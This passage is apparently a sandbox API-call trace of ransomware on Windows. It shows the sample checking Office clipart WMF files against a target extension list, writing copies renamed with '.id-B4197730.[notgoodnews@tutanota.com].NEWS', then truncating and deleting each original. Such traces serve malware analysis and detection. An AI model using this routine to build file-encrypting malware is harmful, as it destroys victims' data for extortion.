(lpString=".1cd") returned 4 [0183.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0183.014] lstrlenW (lpString=".jpg") returned 4 [0183.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.015] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.015] lstrlenW (lpString="J0107446.WMF") returned 12 [0183.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.015] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=30336) returned 1 [0183.015] CloseHandle (hObject=0x36c) returned 1 [0183.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0183.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.016] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.016] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.017] GetLastError () returned 0x0 [0183.017] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7680, lpOverlapped=0x0) returned 1 [0183.041] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7690, lpOverlapped=0x0) returned 1 [0183.042] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.042] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0183.043] SetEndOfFile (hFile=0x53c) returned 1 [0183.043] CloseHandle (hObject=0x53c) returned 1 [0183.043] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.043] SetEndOfFile (hFile=0x36c) returned 1 [0183.047] CloseHandle (hObject=0x36c) returned 1 [0183.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0183.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.049] lstrlenW (lpString=".doc") returned 4 [0183.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.049] lstrlenW (lpString=".docx") returned 5 [0183.049] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.049] lstrlenW (lpString=".pdf") returned 4 [0183.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.049] lstrlenW (lpString=".xls") returned 4 [0183.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.049] lstrlenW (lpString=".xlsx") returned 5 [0183.049] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.049] lstrlenW (lpString=".ppt") returned 4 [0183.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString=".zip") returned 4 [0183.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.050] lstrlenW (lpString=".rar") returned 4 [0183.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString=".bz2") returned 4 [0183.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString=".7z") returned 3 [0183.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString=".dbf") returned 4 [0183.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString=".1cd") returned 4 [0183.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString=".jpg") returned 4 [0183.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.050] lstrlenW (lpString=".doc") returned 4 [0183.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString=".docx") returned 5 [0183.050] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.050] lstrlenW (lpString=".pdf") returned 4 [0183.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.050] lstrlenW (lpString=".xls") returned 4 [0183.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.051] lstrlenW (lpString=".xlsx") returned 5 [0183.051] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.051] lstrlenW (lpString=".ppt") returned 4 [0183.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.051] lstrlenW (lpString=".zip") returned 4 [0183.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.051] lstrlenW (lpString=".rar") returned 4 [0183.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.051] lstrlenW (lpString=".bz2") returned 4 [0183.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.051] lstrlenW (lpString=".7z") returned 3 [0183.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.051] lstrlenW (lpString=".dbf") returned 4 [0183.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.051] lstrlenW (lpString=".1cd") returned 4 [0183.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0183.051] lstrlenW (lpString=".jpg") returned 4 [0183.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.051] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.051] lstrlenW (lpString="J0107450.WMF") returned 12 [0183.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.053] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4920) returned 1 [0183.053] CloseHandle (hObject=0x36c) returned 1 [0183.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0183.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.054] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.054] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.055] GetLastError () returned 0x0 [0183.055] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1338, lpOverlapped=0x0) returned 1 [0183.080] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1340, lpOverlapped=0x0) returned 1 [0183.081] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0183.081] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0183.081] SetEndOfFile (hFile=0x53c) returned 1 [0183.082] CloseHandle (hObject=0x53c) returned 1 [0183.082] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.082] SetEndOfFile (hFile=0x36c) returned 1 [0183.085] CloseHandle (hObject=0x36c) returned 1 [0183.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.221] lstrlenW (lpString=".doc") returned 4 [0183.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.221] lstrlenW (lpString=".docx") returned 5 [0183.221] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.221] lstrlenW (lpString=".pdf") returned 4 [0183.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.221] lstrlenW (lpString=".xls") returned 4 [0183.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.221] lstrlenW (lpString=".xlsx") returned 5 [0183.221] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.221] lstrlenW (lpString=".ppt") returned 4 [0183.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.221] lstrlenW (lpString=".zip") returned 4 [0183.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.222] lstrlenW (lpString=".rar") returned 4 [0183.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString=".bz2") returned 4 [0183.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString=".7z") returned 3 [0183.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString=".dbf") returned 4 [0183.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString=".1cd") returned 4 [0183.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString=".jpg") returned 4 [0183.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString=".doc") returned 4 [0183.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString=".docx") returned 5 [0183.222] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.222] lstrlenW (lpString=".pdf") returned 4 [0183.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString=".xls") returned 4 [0183.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.222] lstrlenW (lpString=".xlsx") returned 5 [0183.222] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.222] lstrlenW (lpString=".ppt") returned 4 [0183.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.222] lstrlenW (lpString=".zip") returned 4 [0183.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.223] lstrlenW (lpString=".rar") returned 4 [0183.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.223] lstrlenW (lpString=".bz2") returned 4 [0183.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.223] lstrlenW (lpString=".7z") returned 3 [0183.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.223] lstrlenW (lpString=".dbf") returned 4 [0183.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.223] lstrlenW (lpString=".1cd") returned 4 [0183.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0183.223] lstrlenW (lpString=".jpg") returned 4 [0183.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.223] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.223] lstrlenW (lpString="J0107484.WMF") returned 12 [0183.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.224] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3040) returned 1 [0183.224] CloseHandle (hObject=0x51c) returned 1 [0183.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220 [0183.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.225] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.225] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0183.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0183.226] GetLastError () returned 0x0 [0183.226] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xbe0, lpOverlapped=0x0) returned 1 [0183.993] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xbf0, lpOverlapped=0x0) returned 1 [0184.021] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.021] WriteFile (in: hFile=0x55c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.022] SetEndOfFile (hFile=0x55c) returned 1 [0184.032] CloseHandle (hObject=0x55c) returned 1 [0184.037] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.037] SetEndOfFile (hFile=0x51c) returned 1 [0184.077] CloseHandle (hObject=0x51c) returned 1 [0184.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0184.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.084] lstrlenW (lpString=".doc") returned 4 [0184.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.084] lstrlenW (lpString=".docx") returned 5 [0184.084] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.084] lstrlenW (lpString=".pdf") returned 4 [0184.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.084] lstrlenW (lpString=".xls") returned 4 [0184.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.084] lstrlenW (lpString=".xlsx") returned 5 [0184.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.084] lstrlenW (lpString=".ppt") returned 4 [0184.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.084] lstrlenW (lpString=".zip") returned 4 [0184.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.084] lstrlenW (lpString=".rar") returned 4 [0184.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString=".bz2") returned 4 [0184.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString=".7z") returned 3 [0184.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.085] lstrlenW (lpString=".dbf") returned 4 [0184.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.085] lstrlenW (lpString=".1cd") returned 4 [0184.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.085] lstrlenW (lpString=".jpg") returned 4 [0184.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.085] lstrlenW (lpString=".doc") returned 4 [0184.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString=".docx") returned 5 [0184.085] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.085] lstrlenW (lpString=".pdf") returned 4 [0184.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.085] lstrlenW (lpString=".xls") returned 4 [0184.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.085] lstrlenW (lpString=".xlsx") returned 5 [0184.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.085] lstrlenW (lpString=".ppt") returned 4 [0184.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.086] lstrlenW (lpString=".zip") returned 4 [0184.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.086] lstrlenW (lpString=".rar") returned 4 [0184.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.086] lstrlenW (lpString=".bz2") returned 4 [0184.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.086] lstrlenW (lpString=".7z") returned 3 [0184.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.086] lstrlenW (lpString=".dbf") returned 4 [0184.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.086] lstrlenW (lpString=".1cd") returned 4 [0184.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68 [0184.086] lstrlenW (lpString=".jpg") returned 4 [0184.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.086] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.086] lstrlenW 